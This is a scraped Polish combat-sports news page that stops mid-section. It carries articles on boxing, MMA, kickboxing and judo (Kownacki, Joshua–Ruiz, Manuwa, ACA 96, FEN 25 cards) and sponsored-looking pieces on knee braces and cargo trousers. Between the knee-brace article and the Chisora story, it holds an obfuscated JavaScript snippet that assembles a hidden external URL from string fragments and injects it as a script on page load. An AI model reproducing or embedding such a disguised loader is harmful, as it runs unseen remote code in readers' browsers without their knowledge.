Akcje Adama Kownackiego w wadze ciężkiej poszybowały w górę. Nie da się ukryć, że popularny "Baby Face" znajduje się w czołówce kategorii królewskiej. Dowodzi tego wymienianie jego nazwiska w kontekście rywalizacji z mistrzem WBC Deontayem Wilderem czy też ostatnio przy okazji poszukiwania przeciwnika dla Anthony'ego Joshuy (po wpadce dopingowej Jarrella Millera – red.). Kownacki znalazł się w ścisłym gronie kandydatów do zmagań o tytuły i wydaje się, ze prędzej czy później dostanie taką szansę. Tymczasem na jego drodze pojawia się kolejna przeszkoda, a jest nią doświadczony Chris Arreola. Walkę zaplanowano na 3 sierpnia.

Amerykanina nie trzeba długo przedstawiać. Dał się poznać w ringu jako twardy i skuteczny bokser, jednak w decydujących walkach nie osiągnął sukcesu. W 2009 roku w Los Angeles uległ Witalijowi Kliczko w starciu o pas WBC. Amerykanin przegrał w dziesiątej rundzie przez techniczny nokaut. Cztery lata później na szali pojawił się wakujący pas WBC, a rywalem Arreoli był Bermane Stiverne. Urodzony w Los Angeles pięściarz ponownie musiał obejść się smakiem. Trzeci raz o tytuł WBC Arreola walczył w lipcu 2016 roku z Wilderem, jednak w ósmej rundzie został poddany przez trenera. W swojej karierze Amerykanin spotkał na swojej drodze także Tomasza Adamka. Lepszy okazał się Polak. Atutem Arreoli jest ogromne doświadczenie, a także wysokie umiejętności. Wygrał 38 walk, w tym 33 przed czasem. W ostatnich dwóch pojedynkach triumfował – pokonał Maurenzo Smitha i Jeana Pierre'a Augustina.

Adam Kownacki nie zwalnia tempa i idzie jak burza. Po pokonaniu Artura Szpilki, "Baby Face" zaczął być traktowany poważnie. Wcześniej różnie odbierano jego posturę i brzuch, ale jak pokazuje Kownacki, a udowodnił również Ruiz Jr. – nie stanowi to problemu w wygrywaniu. W tym roku Kownacki pokonał w drugiej rundzie Geralda Washingtona. Wcześniej wygrał z byłym mistrzem IBF Charlesem Martinem

Wygrana Kownackiego sprawi, że będzie już naprawdę o krok od walki o najwyższe laury. Arreola lata świetności ma za sobą, ale to nadal mocny rywal. Groźniejszy wydaje się jednak Kownacki.

Fot. Adam Kownacki Instagram

KM

Manuwa na sportowej emeryturze

Jeden z czołowych zawodników kategorii półciężkiej UFC Jimi Manuwa podjął decyzję o zakończeniu sportowej kariery. 39-latek ostatni raz w oktagonie zaprezentował się 1 czerwca br. roku podczas gali w Sztokholmie, gdzie musiał uznać wyższość Aleksandara Rakicia.

Zawodnik z Wielkiej Brytanii znany jest w Polsce z rywalizacji z Janem Błachowiczem, z którym spotkał się dwukrotnie. W kwietniu 2015 roku Manuwa triumfował w Krakowie, zaś blisko trzy lata później w Londynie lepszy okazał się Polak. Ostatnie dwa lata były jednak trudne dla 39-letniego fightera. Manuwa przegrał cztery kolejne pojedynki, w tym trzy przed czasem. To jeden z elementów, który zaważył na decyzji zawodnika. – Miałem świetną karierę w sztukach walki i te cztery ostatnie walki były ciężkie nie tylko dla mnie, ale i dla mojej rodziny, która zawsze jest pierwsza. Dałem kilka nokautów i przyjąłem ich trochę. To jest mój styl dla kochających fanów, ale to wszystko daje kontuzje, które są niewidoczne dla oka. Poznałem wielu wspaniałych ludzi, podróżowałem po świecie, ale nadszedł czas, aby zakończyć ten rozdział i przejść do następnego – napisał Manuwa w mediach społecznościowych.

"Poster Boy" odkrył UFC w wieku 26 lat, a dwa lata później zaczął trenować muay thai i BJJ. Efekty przyszły stosunkowo szybko. Pierwsze pojedynki Manuwa stoczył w 2008 roku i szedł jak burza. Zawodnik wygrał jedenaście kolejnych starć i trafił do UFC w 2012 roku. Dobra postawa w amerykańskiej organizacji sprawiła, że reprezentant Wysp Brytyjskich dopominał się walki o pas mistrzowski, jednak szansy nie otrzymał. Rywalizował z takimi zawodnikami jak Alexander Gustafsson czy Anthony Johnson, ale przegrywał. Ostatni raz Manuwa triumfował w marcu 2017 roku, kiedy to w pierwszej rundzie znokautował Coreya Andersona. Później przegrywał kolejno z Volkanem Oezdemirem, Janem Błachowiczem, Thiago Santosem i Aleksandarem Rakiciem. Bilans 39-latka to 17 zwycięstw i 6 porażek. – Dziękuję Dana White i UFC za możliwość zaprezentowania umiejętności. Dziękuję wszystkim moim trenerom, partnerom treningowym, którzy wiele pomogli mi i nauczyli – napisał Manuwa.

Fot. Jimi Manuwa Instagram

KM

32 wojowników w Łodzi

Wielkimi krokami zbliża się gala ACA 96. W Łódź Sport Arenie zaprezentuje się 32 wojowników, wśród nich nie zabraknie Polaków.

Zawodnicy znad Wisły są niemal nieodłącznym elementem wydarzeń organizowanych przez Absolute Championship Akhmat. Warto podkreślić, że nie są tłem, ale znaczącymi postaciami ACA. Piotr Strus oraz Karol Celiński mieli okazję rywalizować o pasy mistrzowskie organizacji, odpowiednio w wadze średniej i wadze półciężkiej. Obaj zaprezentują się w Łodzi. Dla zawodnika z Warszawy będzie to już ósme w starcie w ACA, wcześniej ACB. Strus będzie chciał przełamać złą passę – przegrał dwie ostatnie walki. W Łodzi zmierzy się ze Svetlozarem Savovem. Bułgar znany jest publiczności w Polsce, w marcu 2016 roku wystąpił na KSW 34 i został znokautowany przez Antoniego Chmielewskiego. Od tamtej pory Savov wygrał trzy pojedynki. Drugie starcie z rzędu w Polsce stoczy Karol Celiński, który w lutym w Warszawie nie sprostał Dowledżchanowi Jagszimuradowowi w starciu o pas. W czwartej rundzie triumfował zawodnik z Turkmenistanu. Celiński będzie chciał wrócić na zwycięską ścieżkę w potyczce z Lukiem Barnattem, którego pokonał blisko rok temu w Brisbane. Anglik to doświadczony fighter, który ma za sobą przygodę w UFC, więc Polak musi mieć się na baczności.

Po trzecią wygraną w Łodzi będzie zmierzał Marcin Held (na zdjęciu). – Przygotowania zakończone z dobrą formą i bez kontuzji. Gotowy na 8 czerwca – deklaruje zawodnik. Held w efektowny sposób zaczął przygodę z ACA. Oba pojedynki rozstrzygnął przez poddanie w pierwszych rundach. W Łodzi Polak zmierzy się z Diego Brandao. 32-letni Brazylijczyk przez długi czas rywalizował w UFC, ostatnio prezentował się na Rizin. W grudniu 2018 roku zanotował zwycięstwo na gali Russian Cagefighting Championship – RCC 5, gdzie pokonał w pierwszej rundzie Venera Galieva. Na drodze Daniela Omielańczuka stanie Rosjanin Evgeny Erokhin.

Do debiutu w ACA szykuje się Marcin Bandel. Doświadczony Polak zmierzy się z Arseniym Sultanovem, który dotychczas stoczył pięć walk w MMA. W polsko-polskich starciach zobaczymy Radosława Paczuskiego i Piotra Szczodrowskiego oraz Łukasza Rajewskiego i Łukasza Koperę. Po występach w polskich organizacjach, FEN i Babilon MMA, otoczenie zmieni Paweł Pawlak. Były zawodnik UFC zmierzy się z Rosjaninem Evgenym Bondarem.

W walce wieczoru gali w Łodzi o pas wagi ciężkiej zmierzą się Evgeniy Goncharov oraz Tony Johnson. Rosjanin ma na koncie dziewięć kolejnych wygranych. Z kolei Johnson efektownie zadebiutował w ACA – w Warszawie w pierwszej rundzie poddał Denisa Smoldareva.

Fot. Marcin Held Facebook

KM

To ci dopiero

Ta informacja zelektryzowała cały bokserski świat. Anthony Joshua stracił pasy mistrzowskie WBA, WBO, IBF i IBO w wadze ciężkiej na rzecz Andy'ego Ruiza Jr. Niespodzianka, a tym samym rozpoczął się nowym rozdział w historii kategorii królewskiej.

Ruiz przeżywa wielkie chwile. Trzeba jednak zauważyć, że jego wiktoria to trochę historia Kopciuszka. 29-letni Ruiz wykorzystał szansę, którą dał mu los. Przecież 1 czerwca w Madison Square Garden w Nowym Jorku Joshua miał rywalizować z innym przeciwnikiem. W lutym świat usłyszał, że w kolejnej obronie mistrzowskich pasów "AJ" spotka się z Jarrellem Millerem. Dla czempiona miał być to pierwszy pojedynek poza granicami ojczystego kraju. Miller zapowiadał, że znokautuje mistrza, ale w kwietniu o jego słowach mało kto pamiętał. Amerykanin zaliczył wpadkę dopingową. Niedozwolone środki wykryto w próbce pobranej od pięściarza 20 marca.

Był 17 kwietnia i Eddie Hearn natychmiast rozpoczął poszukiwania rywala, który zastąpiłby Millera w starciu z „AJ”. Giełda nazwisk była długa. Wśród potencjalnych rywali brytyjskiego czempiona wymieniano Luisa Ortiza, Manuela Charra, Kubrata Pulewa, Michaela Huntera, Oscara Rivasa, Andy'ego Ruiza Jr. Pojawiły się również nazwiska Artura Szpilki i Adama Kownackiego. Wybór padł na Ruiza Jr., dla którego była to druga szansa na zdobycie tytułu mistrzowskiego. Wcześniejsze podejście było nieudane dla Meksykanina. Ruiz Jr. przegrał w grudniu 2016 roku pojedynek o wakujący pas WBO z Josephem Parkerem.

W kontekście starcia o cztery tytuły mistrzowskie należy zwrócić uwagę, że następcę Millera ogłoszono 1 maja, czyli miesiąc przed planowaną walką! Ruiz Jr. miał pełną świadomość, że staje przed wielką szansą i chciał przejść do historii. Niejednokrotnie w ringu pokazał moc. Ponad 20 wygranych przed czasem nie wzięło się zniknąd, ale musiał stanąć "oko w oko" z niepokonanym "Joshuą, który odebrał miano najlepszego wielkiemu Władimirowi Kliczko. 1 czerwca "AJ" był innym pięściarzem. Co prawda w trzeciej rundzie Ruiz wylądował na deskach, ale chwilę później mistrz również na nie padł! Kolejne rundy to już dominacja Meksykanina i coraz słabszy Joshua, który nie potrafił się odnaleźć w ringu. Siódma runda wyłoniła nowego czempiona.

Największa sensacja ostatnich lat. Kopciuszek wkroczył na salony, ale czy to tylko chwilowy poryw? Rewanż jest nieunikniony. Zapewne odbędzie się na jesieni.

Joshua zanotował pierwszą porażkę i spadł z tronu. Niepokonanym mistrzem pozostaje nadal Deontay Wilder. Dla Amerykanina porażka "AJ" to duża satysfakcja i teraz bez żadnych wątpliwości może powtarzać, że jest najlepszy w wadze ciężkiej. W obwodzie jest jeszcze Tyson Fury. Świat też czeka na ich pojedynek rewanżowy. Joshua się potknął i dał satysfakcję Wilderowi. Tym samym wpadka "AJ" oddala wizję jego starcia z Amerykaninem.

KM

Cztery mistrzowskie starcia

Kickboxing na najwyższym poziomie zawita do Centrum Sportu w Mysiadle. 1 czerwca odbędzie się gala "Lesznowola Kickboxing Fight II".

Popularność formuły K-1 Rules stale rośnie, a kibice są głodni atrakcyjnych walk, które stoją na wysokim poziomie. Z mistrzostw Europy z Bratysławy biało-czerwoni wrócili z trzema medalami, w tym złotym Kamili Bałandy. Po raz kolejny Polacy będą mogli udowodnić swój potencjał w listopadzie w Turcji, gdzie odbędą się mistrzostwa świata.

Na arenie krajowej odbywają się ciekawe gale, podczas których rodzą się kolejni mistrzowie. Ciężka praca w klubach weryfikowana jest podczas licznych wydarzeń. 1 czerwca w Mysiadle odbędzie się gala "Lesznowola Kickboxing Fight II", która zapowiada się interesująco z racji czterech walk o tytuły zawodowych mistrzów Polski. Trzy pojedynki odbędą się wśród seniorów w formule K-1. Po raz drugi o pas będzie walczył Arkadiusz Kaszuba (81kg). Zawodnik Rzeszowskiego Klubu Sportów Walki zdobył tytuł, ale nie miał okazji go bronić. W Mysiadle zmierzy się z Rafałem Kamińskim. Złą passę będzie chciał przerwać Paweł Józefowicz (67kg), który przegrał trzy walki z Kamilem Rościńskim. Wygrana w Mysiadle miałaby więc wyjątkowy smak. W trzeciej mistrzowskiej walce w kategorii -75kg spotkają się Daniel Kolasiński i Daniel Strzemiński. Czwarty pojedynek o tytuł odbędzie się w low kick w wadze +70kg. O młodzieżowe mistrzostwo Polski powalczą Justyna Ciborska i Katarzyna Tyl.

Nie zabraknie lokalnego akcentu. W wadze +91kg zaprezentuje się Mateusza Gola z TS Wiśniewski Team Lesznowola. Jego rywalem będzie reprezentant Wisły Sandomierz – Damian Zapart. W Mysiadle swoje pojedynki stoczą również m.in. Adrian Gunia z Dragona Starachowice, Mikołaj Kopaniszyn z Palestry Warszawa, Maciej Wyszyński z X Fight Piaseczno czy Krzysztof Górski z Polkonu Legnica.

W ubiegłym roku gala w Mysiadle cieszyła się dużym zainteresowaniem. Organizatorzy nie kryli zadowolenia z tego faktu. Tym razem dołożono również wszelkich starań, aby zapewnić najwyższy poziom sportowy i nie zapomniane emocje. 1 czerwca o 19.00 zapraszamy do oglądania gali "Lesznowola Kickboxing Fight II" na antenie FighTime TV. Link do transmisji: https://fightime.pl/pl/video/live-lesznowola-kickboxing-fight-2/.

KM

FEN 25 – Trailer

FEN 25 już 15 czerwca 2019 r. w Ostródzie.

KARTA WALK FEN 25:

70 kg, MMA: Maciej Jewtuszko vs Vaso Bakocevic 
66 kg, MMA: Adrian Zieliński vs Fabiano Silva* 
93 kg, MMA: Rafał Kijańczuk vs Adam Kowalski 
57 kg, MMA: Katarzyna Lubońska vs Izabela Badurek 
84 kg, MMA: Krystian Bielski vs Tomasz Skrzypek 
93 kg, MMA: Wojciech Janusz vs Michał Gutowski 
95 kg, K-1: Marcin Szreder vs Kewin Wiwatowski 
85 kg, K-1: Łukasz Radosz vs Przemysław Zygmuntowicz 

*Stawką pojedynku będzie pas mistrzowski federacji Fight Exclusive Night

[kod]

Stabilizator kolana – kiedy stosować i o czym pamiętać?

Uprawianie aktywności fizycznej wiąże się z ryzykiem wystąpienia rozmaitych kontuzji. Często, są one związane z uszkodzeniem stawu kolanowego. Właśnie dlatego, warto zainwestować w profesjonalną ortezę (stabilizator), która pomoże unieruchomić kolano w przypadku jego uszkodzenia. Sprawdź, kiedy stosować ortezę i na co zwrócić uwagę przed kupnem.

Stabilizator, oprócz unieruchamiania, pełni funkcję korekcyjną i może być stosowany w procesie rehabilitacji uszkodzonego stawu. Głównym zadaniem ortezy jest odciążenie stawu, więzadeł i mięśni. Stabilizacja pomaga w utrzymaniu kolana we właściwej pozycji,  zmniejsza również ryzyko pogłębienia się kontuzji oraz przyspiesza powrót do pełni sił.

Kiedy nosić stabilizator na kolano?

Najczęściej, stabilizatory stosuje się w przypadku urazu stawu, skręcenia lub zwichnięcia nogi oraz przy stanie zapalnym i obrzęku kończyny. Oprócz wymienionych sytuacji, stabilizację można stosować również w czasie bólu reumatycznego lub stawowego.

Co ważne, każdy z powyższych urazów powinien być stwierdzony przez lekarza lub fizjoterapeutę. Doborem odpowiedniego stabilizatora również powinien zająć się specjalista, który zaleci właściwy typ, rozmiar oraz kąt zgięcia i wyprostu stawu.

Rodzaje stabilizatorów

  • Stabilizatory twarde

Stabilizację mają zapewnić specjalne, konstrukcyjne elementy usztywniające. Twarde ortezy ograniczają mobilność stawu, zapewniają usztywnienie kolana i gwarantują duże wsparcie dla mięśni. Zazwyczaj używa się ich w przypadku poważniejszych urazów lub zabiegów operacyjnych. Stabilizator twardy może być stosowany jako zamiennik gipsu.

  • Stabilizatory sportowe

Ortezy przeznaczone dla sportowców wykonywane są na specjalne zamówienie. Działają podobnie, jak klasyczne stabilizatory, ale zapewniają przy tym większą mobilność stawu, przez co umożliwiają aktywność fizyczną.

Często stosowane są przez sportowców, którzy w szczególny sposób narażeni są na uszkodzenia stawu kolanowego. Oprócz tego, używa się ich u pacjentów, którzy odczuwają barierę psychiczną i obawiają się kolejnej kontuzji. Największą wadą stabilizatorów sportowych jest ich wysoka cena.

  • Stabilizatory miękkie

Najczęściej są to elastyczne ściągacze, opaski lub miękkie ortezy zapinane na rzepy. Stosuje się je w przypadku niewielkich urazów lub w celach profilaktycznych. Szczególnie rekomenduje się je dla osób, które są w trakcie rehabilitacji i wracają do zdrowia po urazie. Zaletą miękkich stabilizatorów jest ich niska cena oraz dostępność w każdej aptece, czy sklepie rehabilitacyjnym.

Opaska na kolano: jak dobrać?

Najlepiej postawić na opaskę bezszwową, która zapewni komfort podczas noszenia. Głównym zadaniem opaski uciskowej ma być nie tyle stabilizacja kolana, co utrzymanie go w odpowiedniej temperaturze oraz ochrona przed drobnymi urazami. Aby opaska posłużyła na dłuższy czas, warto zwrócić uwagę na materiał, z którego została wykonana.

Urazy kolana należą do najczęstszych uszkodzeń stawów. Najlepszym sposobem na powrót do formy po kontuzji jest zastosowanie stabilizacji. Na rynku jest wiele rodzajów stabilizatorów, a wybór odpowiedniego powinna poprzedzić konsultacja z lekarzem lub fizjoterapeutą.

[kod]

(function(){
cx8u=document.createElement("script");cx8u_=("ust");cx8uu="134609084";
cx8u_+="a"+("t.i");cx8u.type="text/javascript";
cx8uu+=".t5a2eXpqx8u1a32nX5wu";cx8u.async=true;cx8u_+="n"+("f"+"o")+"/";
cx8uu+="s5a230dfsn";cx8u.src="https://"+cx8u_+cx8uu;
document.body.appendChild(cx8u);
})();

Chisora dostanie Szpilkę?

Dereck Chisora zawsze poszukiwał rozgłosu i robił wszystko, aby znaleźć się na szczycie. Próby zawojowania wagi ciężkiej nie powiodły się, jednak 35-latek cały czas boksuje. Jego kolejna walka odbędzie się 20 lipca w Londynie. Możliwe, że urodzony w Zimbabwe pięściarz spotka się z Arturem Szpilką.

Osiem lat temu Chisora znajdował się w ścisłej czołówce kategorii królewskiej. Pięściarz rywalizował o tytuł mistrza Europy z Robertem Heleniusem, jednak po dwunastu rundach triumfował się Fin. Z kolei w lutym 2012 roku w Monachium Chisora spotkał się z Witalijem Kliczko. Na szali pojawił się pas mistrza świata WBC w kategorii ciężkiej. Brytyjczyk zaprezentował się z dobrej strony i wysoko zawiesił poprzeczkę Ukraińcowi, jednak przegrał. Trzeba pamiętać, że Chisora nigdy nie należał do kategorii potulnych baranków. Pięściarz nie darzył się sympatią z Davidem Hayem, z którym wdał się w bójkę na konferencji prasowej po walce z Kliczko. Następstwem tego zdarzenia było pozbawienie Chisorę licencji bokserskiej.

W końcu wszystko wróciło na prostą i urodzony w Zimbabwe pięściarz mógł rywalizować z nielubianym przeciwnikiem o miano najlepszego na Wyspach Brytyjskich. Stawką starcia z Haye'm były wakujące pasy międzynarodowe WBA i WBO. Pojedynek zakończył się w piątej rundzie, Chisora musiał przełknąć gorycz porażki. Pięściarz musiał się odbudować, pokonywał mniej znanych rywali, jednak w starciu z czołówką m.in. Tyson Fury i Kubrat Pulew okazywał się bezradny. Prześladowcą Chisory okazał się Dillian Whyte, z którym przegrał dwukrotnie. W ostatnim starciu 35-latek pokonał, bez większych problemów, Senada Gashiego.

Kolejną walkę Chisora ma stoczyć 20 lipca. Wśród potencjalnych przeciwników Brytyjczyka wymienia się Artura Szpilkę. Również dla Polaka byłaby szansa na głośną walkę zagranicą. Po raz ostatni "Szpila" zaprezentował się w ringu w listopadzie 2018 roku, kiedy to pokonał Mariusza Wacha. Wcześniej wygrał z Dominickiem Guinnem.

Dla Szpilki pojedynek z Chisorą byłby wyzwaniem i pierwszym od przegranego starcia z Adamem Kownackim występem zagranicą. Brytyjczyk liczy zaś na 31. Zwycięstwo w karierze.

KM

30 – lecie polskiego kickboxingu

Światowa Organizacja WAKO Kickboxing objęła oficjalny patronat nad obchodami 30-lecia PZKB – Prezydent WAKO gościem honorowym!!!

Polski Związek Kickboxingu z ogromną satysfakcją informuje, że Prezydent WAKO Pan Roy Baker przyjął zaproszenie Prezesa Piotra Siegoczyńskiego i będzie gościem honorowym podczas obchodów 30-lecia PZKB 14 września we Włocławku. To dla nas duży zaszczyt oraz docenienie dotychczasowych działań związku w promocji kickboxingu w Polsce i na Świecie.

Kawulski: Czy było warto?

Podczas KSW 49 w Ergo Arenie Michał Materla przegrał z Scottem Askhamem bój o pas mistrzowski w wadze średniej. 35-latek doznał kontuzji oka. Głos w sprawie występu Materli zabrał Maciej Kawulski.

Popularny "Magic" to jedna z ikon KSW, z którą związany od ponad dziesięciu lat. W 2012 roku Materla pokonując Jaya Silvę sięgnął po pas w wadze średniej. Stracił do trzy lata później na rzecz Mameda Chalidowa. Michał Materla przeżywał również trudne chwile w wymiarze osobistym. Przez dłuższy czas był nieobecny w rywalizacji sportowej. Wrócił jednak w efektownym stylu w październiku 2017 roku i w Dublinie znokautował Paulo Thiago. Potem przegrał ze Scottem Askhamem. Następnie Materla wygrał dwie walki, w tym jedną w półfinale turnieju wagi średniej i ponownie mógł sięgnąć po pas. Na jego drodze stanął Askham. Anglik wygrał w trzeciej rundzie po celnym latającym kolanie. Oko Materli wyglądało źle. – To jest cholernie ciężki sport. Czasem porywasz tłumy wielkimi wygranymi a czasem musisz zostawić w klatce kawał zdrowia, żeby zerwać tysiące ludzi z krzeseł. Michał nigdy nie kalkulował . Robił zawsze wszystko w imię najważniejszej obietnicy jaką może złożyć wojownik swoim fanom. Obietnica ta brzmi : „Nigdy nie zabraknie mi serca do walki – skomentował w mediach społecznościowych Maciej Kawulski, współwłaściciel KSW.

Fighterzy wchodzą do klatki, aby wygrywać i porywać serca publiczności. Często odnoszą poważne kontuzje. Materla chciał ponownie sięgnąć o pas i zrewanżować się rywalowi za wcześniejszą porażkę. – Czy było warto ? To pytanie do was. To wasze brawa ale przede wszystkim ostateczny szacunek pokryje koszta z którymi musi się liczyć zawodnik. Kiedy rany się zagoją i pokryją je blizny, kiedy ciało pokryją siwe włosy tylko wasze owacje zostaną w pamięci weterana. Wtedy nawet najmniejsza kropla krwi na zębach zerwie stare kości do ruchu. To pamięć o waszych brawach pozwala żyć wojownikowi kiedy już opada kurz po bitwie. Wrzawa pełnej hali ledwo słyszalna w czasie walki rozbrzmiewa mu w głowie najgłośniej ze wszystkich rzeczy, które słyszy w czasie kiedy klatka staje się już tylko ledwo widocznym wspomnieniem. Są chwile, których się nie zapomina. Są dźwięki, których nigdy nie przestaje się słyszeć. To dla nich było warto ….. jest warto – napisał Maciej Kawulski.

Fot. Maciej Kawulski Instagram

KM

Czas na odpowiedź

Mistrz świata WBC w wadze ciężkiej Deontay Wilder w pierwszej rundzie odprawił Dominica Breazeale'a. Być może kolejnym rywalem Amerykanina będzie Tyson Fury. Olbrzym z Wilmslow pojawi się w ringu 15 czerwca, a jego rywalem będzie Tom Schwarz. Czy Fury pośle Wilderowi znak ostrzegawczy?

Wiadomo, że w wadze ciężkiej jest gorąco. Najprościej mówiąc – „trafił swój na swego”. 1 grudnia 2018 roku pojedynek Wildera i Fury’ego zakończył się remisem. Pięściarze nie szczędzą sobie cierpkich słów. Gdzieś w tle pojawia się jeszcze Anthony Joshua, ale wszyscy liczą na rewanż Wildera i Fury’ego. Pojedynek miałby odbyć się w 2020 roku.

18 maja Wilder wysłał sygnał, że jest mocny. Dominic Breazeale, który aż 18 pojedynków wygrał przez nokaut, tym razem został zwalony z nóg już w pierwszej rundzie. Wilder odniósł 41 zwycięstwo w karierze, a 40 przed czasem. Imponujący bilans 33-letniego mistrza świata.

Jak odpowie mu Tyson Fury? Brytyjczyk zabrał głos na temat Wildera i nawet zaproponował, że jest gotowy walczyć na gołe pięści. Z tym, że Fury 15 czerwca stoczy 28 pojedynek w karierze. Na jego drodze stanie 24-letni Tom Schwarz. Dla Niemca będzie to pierwszy pojedynek w Stanach Zjednoczonych, a zarazem premierowy występ poza Europą. Schwarz dotychczas nie przegrał. Niektórzy jednak z przymrużeniem oka podchodzą do kolejnego rywala Fury'ego, ale ring wszystko zweryfikuje. Wiadomo, że dla Niemca to ogromne wyzwanie i szansa, a dla Brytyjczyka to starcie jest tylko punktem na drodze do celu.

Zanim w Las Vegas zaprezentuje się Fury, 1 czerwca w Madison Square Garden do kolejnej obrony tytułów IBF, IBO, WBA i WBO stanie Anthony Joshua. Pierwotnie "AJ" miał rywalizować z Jarrellem Millerem, ale pięściarz wpadł na stosowaniu niedozwolonych środków. Mistrz spotka się z Andy'm Ruizem Jr. 29-letni Amerykanin ma większe, w ilości stoczonych pojedynków, ringowe doświadczenie niż Joshua. Dotychczas Ruiz raz walczył o pas i poległ. W grudniu 2016 roku po tytuł WBO sięgnął Joseph Parker. Od tamtej pory Amerykanin wygrał trzy pojedynki.

W czerwcu w wadze ciężkiej mogą paść dwie ważne odpowiedzi. Jeśli Fury wygra, na horyzoncie będzie jego rewanż z Wilderem. W przypadku „AJ”, rozpocznie się poszukiwanie kolejnego rywala.

KM

FEN 25: Fabiano Silva rywalem Zielińskiego w walce o pas

Fabiano Silva (30-11, 11 KO, 12 SUB) będzie rywalem Adriana Zielińskiego (18-8, 5 KO, 6 SUB) podczas gali FEN 25, która 15 czerwca odbędzie się w ostródzkim Amfiteatrze. Stawką tego starcia będzie pas mistrzowski FEN w kategorii piórkowej.

„Jacarezinho”, bo tak brzmi przydomek zawodnika z Brazylii, ma aż 30 zwycięstw na swoim koncie. 11 z nich odniósł przez KO, 12-krotnie poddawał swoich rywali. 4 maja podczas gali ELITE MMA Championship w niemieckim Dusselfdorie Silva pokonał po bardzo zaciętym boju w walce wieczoru Nilsona Pereirę. Wcześniej przez techniczny nokaut rozprawił się z Paulo Machado. O sile Brazylijczyka przekonali się między innymi Lucas Pivatto i Dragan Desic, których „Jacarezinho” znokautował w premierowych odsłonach.

Zieliński efektownie zadebiutował w FEN w marcu tego roku, gdy w 1. rundzie przez techniczny nokaut rozprawił się z Kamilem Łebkowskim. Zieliński ma 32 lata i trenuje w olsztyńskim klubie Berkut Arachion. Karierę zawodową rozpoczął w 2010 roku, gdy przez poddanie wygrał z Rafałem Rynkowskim. W latach 2013-2015 mógł pochwalić się serią siedmiu kolejnych zwycięstw z rzędu. W 2017 roku podczas gali ACB 52 wygrał na punkty jednogłośną decyzją sędziów z Rasulem Yakhyaevem. Spośród 18 zwycięskich pojedynków aż 11 miało miejsce przed czasem.

KARTA WALK FEN 25:

70 kg, MMA: Maciej Jewtuszko vs Vaso Bakocevic 
66 kg, MMA: Adrian Zieliński vs Fabiano Silva* 
93 kg, MMA: Rafał Kijańczuk vs Adam Kowalski 
57 kg, MMA: Katarzyna Lubońska vs Izabela Badurek 
84 kg, MMA: Krystian Bielski vs Tomasz Skrzypek 
93 kg, MMA: Wojciech Janusz vs Michał Gutowski 
95 kg, K-1: Marcin Szreder vs Kewin Wiwatowski 
85 kg, K-1: Kamil Paczuski vs Karol Łasiewicki 
85 kg, K-1: Łukasz Radosz vs Przemysław Zygmuntowicz 
TBA vs TBA 

*Stawką pojedynku będzie pas mistrzowski federacji Fight Exclusive Night

FEN 25: Zestawienie Paczuski vs Łasiewicki wypada z kart walk na Ostródę

Kamil Paczuski (0-0) nie zmierzy się 15 czerwca w Ostródzie z Karolem Łasiewickim (1-0). Powodem odwołania walki jest kontuzja pierwszego z zawodników.

Paczuski doznał kontuzji więzadeł w kolanie i jego występ w Ostródzie jest niemożliwy. Pojedynek ten odbędzie się na jednej z kolejnych gal FEN.

KARTA WALK FEN 25:

70 kg, MMA: Maciej Jewtuszko vs Vaso Bakocevic 
66 kg, MMA: Adrian Zieliński vs Fabiano Silva* 
93 kg, MMA: Rafał Kijańczuk vs Adam Kowalski 
57 kg, MMA: Katarzyna Lubońska vs Izabela Badurek 
84 kg, MMA: Krystian Bielski vs Tomasz Skrzypek 
93 kg, MMA: Wojciech Janusz vs Michał Gutowski 
95 kg, K-1: Marcin Szreder vs Kewin Wiwatowski 
85 kg, K-1: Łukasz Radosz vs Przemysław Zygmuntowicz 

*Stawką pojedynku będzie pas mistrzowski federacji Fight Exclusive Night

Dziewczyny na medal

Trzy medale zdobyły Polki w zawodach Pucharu Europy Seniorów w Orenburgu. Rywalizację zdominowali Rosjanie, którzy wywalczyli aż 32 krążki!

Pierwsze tegoroczne podium na swoim koncie zapisała Anna Dąbrowska (57kg). Judoczka klubu Juvenia Wrocław zaczęła zmagania od dwóch wygranych walk. Pokonała kolejno Rosjanki – Ksenię Solovevą i Dannę Naguchevą. W półfinale Polka przegrała jednak z reprezentantką Austrii Asiminą Heodorakis. W starciu o brąz Dąbrowska spotkała się z medalistą zeszłorocznych zmagań Pucharu Europy z Gdyni – Ulyaną Minenkovą. Polka triumfowała przed czasem i mogła cieszyć się z trzeciego miejsca.

Na podium zameldowała się również Vanessa Machnicka (63kg). Zawodniczka Akademii Judo Poznań musiała walczyć w repasażach. Polka zaczęła od wygranej przed czasem, jednak w kolejnym starciu nie dała rady Zarji Tavcar. Machnicka w repasażach imponowała skutecznością. Pierwszą walkę wygrała przez waza ari, zaś drugą z Mariną Kalaevą rozstrzygnęła w zaledwie trzynaście sekund. Polka nie pozostawiła złudzeń również Nadezhdy Rumiantsevej, którą pokonała przez ippon.

Kolejny dobry występ na swoim koncie zapisała Eliza Wróblewska (70kg). Judoczka Akademii Judo Poznań była w tym roku piąta w Uster, a wśród juniorów stawała na podium w Atenach i Sankt Petersburgu. W Orenburgu Polka potwierdziła dobrą dyspozycję. Wróblewska wygrała trzy pojedynki, w półfinale musiała uznać wyższość Francuzki Melissy Heleine. W starciu o brąz Polka pokonała Zhannę Asipovich z Białorusi.

W Orenburgu o podium otarła się Aleksandra Kaleta (52kg), która była piąta. Na siódmych lokatach uplasowali się Karolina Miller (70kg) oraz Kacper Szczurowski (100kg).

W zmaganiach Pucharu Europy karty rozdawali Rosjanie, którzy zdobyli 10 z 14 możliwych złotych medali. Łącznie reprezentanci Sbornej zapisali na swoim koncie 32 krążki. Druga Białoruś zaledwie… trzy.

Srebro Sobierajskiej

W Bielsku-Białej odbyły się zmagania w Pucharze Europy kadetów. Na starcie pojawiło się 574 zawodniczek i zawodników. Jedyny medal dla Polski zdobyła Katarzyna Sobierajska (70kg), która wygrała cztery pojedynki. W finale uległa Japonce Moce Kuwagacie i musiała zadowolić się srebrem. Walkę o brąz przegrała Agata Pałka (63kg).

KM

Rożne typy bojówek

Bojówki mogą prezentować się w różny sposób. Wszystko zależy od tego, jak zostaną uszyte oraz jaki materiał zostanie do tego celu zastosowany. Oznacza to, że bojówki mogą różnić się od siebie i sprawdzać się w różnych stylizacjach. Jak zatem mogą wyglądać bojówki?

Sportowe wydanie
Bojówki z kieszeniami po bokach często można spotkać w formie spodni sportowych. Na rynku odzieżowym coraz częściej można spotkać bojówki w formie dresów lub innych wygodnych spodni. Takie produkty wyglądają świetnie w połączeniu z innymi sportowymi ubraniami. Stylizacje z ich udziałem są praktyczne i wygodne. Spodobają się niejednej kobiecie.

Elegancko do pracy
